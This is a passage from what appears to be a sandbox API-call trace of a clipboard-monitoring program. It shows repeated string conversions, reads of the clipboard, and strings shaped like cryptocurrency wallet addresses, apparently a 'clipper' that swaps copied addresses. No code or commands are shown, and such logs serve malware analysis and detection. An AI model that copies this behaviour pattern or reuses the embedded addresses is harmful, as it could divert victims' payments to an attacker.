lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0046.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0046.890] Sleep (dwMilliseconds=0x64) [0047.006] GetOpenClipboardWindow () returned 0x0 [0047.006] OpenClipboard (hWndNewOwner=0x0) returned 1 [0047.006] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0047.006] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0047.006] GlobalSize (hMem=0x6069b8) returned 0x42 [0047.006] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0047.006] GlobalUnlock (hMem=0x6069b8) returned 1 [0047.006] CloseClipboard () returned 1 [0047.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, 